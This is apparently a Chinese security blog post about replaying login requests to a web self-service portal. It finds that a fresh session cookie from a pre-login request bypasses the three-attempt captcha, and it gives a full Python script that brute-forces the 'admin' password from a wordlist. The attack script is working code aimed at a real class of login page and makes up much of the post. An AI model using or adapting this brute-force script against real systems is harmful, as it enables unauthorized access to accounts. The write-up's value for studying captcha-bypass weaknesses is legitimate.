前言
晚上九点半,会员群师傅突然给我发消息:
感觉应该不难,但我折腾了俩小时也没折腾出来,最后快放弃的时候找到了原因,遂有本文。
正文
把登陆包重放,回显异常,没有出现”账号或密码出现错误“的提示:
第一次尝试分析
第二次尝试分析
相信各位看JS的名字都知道,没错,我看了半天,里面果然没有什么看上去奇怪的东西,就只是加密密码和一些正常的js。
ok,那就一定是浏览器那边做了什么我不知道的操作,和后端做了什么悄咪咪的沟通,让我拿到的code实际上并没有作用(当时以为只是code值没有作用),因为从回显的包里,我们可以看见用于判断登陆次数的值并没有增加:
无论重发送多少次包,它都不会增加,说明后端并不认为我进行了一次登陆,而我在浏览器的F12中注意到其实这个网站打开登陆页面的时候自动进行了一次登陆尝试,怀疑它本身要走一遍某个完整流程后才能使code生效,于是我又去看浏览器自动发送的包里面都有什么:

峰回路转
其他包其实都只是一些正常的获取JS、图片的包,只有这个包才参与了后端的登陆前流程校验,按部就班替换code,重放登陆包得到正确回显,而由于我们每次都可以获取一个新的cookie来尝试登陆,所以其实后端针对cookie写的对登陆次数达到三次后启用图形验证码的规则也就无效了,我们可以直接写一个py脚本去爆破:
import requests
import re
import hashlib
import random
def md5_hash(password):
return hashlib.md5(password.encode('utf-8')).hexdigest()
url_login = "http://ip/Self/LoginAction.action"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36",
"Content-Type": "application/x-www-form-urlencoded",
"Referer": "http://ip/Self/LoginAction.action",
"Connection": "close"
}
with open('pass.txt', 'r') as file:
passwords = file.readlines()
for password in passwords:
data = "account=admin&password=4297f44b13955235245b2497399d7a93&code=&checkcode=463&Submit=%E7%99%BB+%E5%BD%95"
response = requests.post(url_login, headers=headers, data=data)
jsessionid = response.cookies.get('JSESSIONID')
match = re.search(r'checkcode="(.*?)";', response.text)
checkcode_value = match.group(1) if match else None
url_random_code = f"http://ip/Self/RandomCodeAction.action?randomNum={random.uniform(0, 1)}"
headers_random = {
"User-Agent": headers["User-Agent"],
"Referer": headers["Referer"],
"Connection": "close",
"Cookie": f"JSESSIONID={jsessionid}"
}
requests.get(url_random_code, headers=headers_random)
password = password.strip()
if password:
md5_password = md5_hash(password)
data_final = f"account=admin&password={md5_password}&code=&checkcode={checkcode_value}&Submit=%E7%99%BB+%E5%BD%95"
response_final = requests.post(url_login, headers=headers, data=data_final, cookies={'JSESSIONID': jsessionid})
if "账号或密码出现错误" in response_final.text:
print(f"密码 '{password}' 登陆失败")
else:
print(f"可能登陆成功了哦~")
exit
最后也是成功让会员折服,直接续费了一年会员
结语
这次故事告诉我们,每一个数据包都有可能是重要的。
后来把这个事情分享给团队大哥们,有大哥说这其实是反爬的一种方式。
——The End——
原文始发于微信公众号(棉花糖fans):重放数据没有正确回显?头晕俩小时后找到问题
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论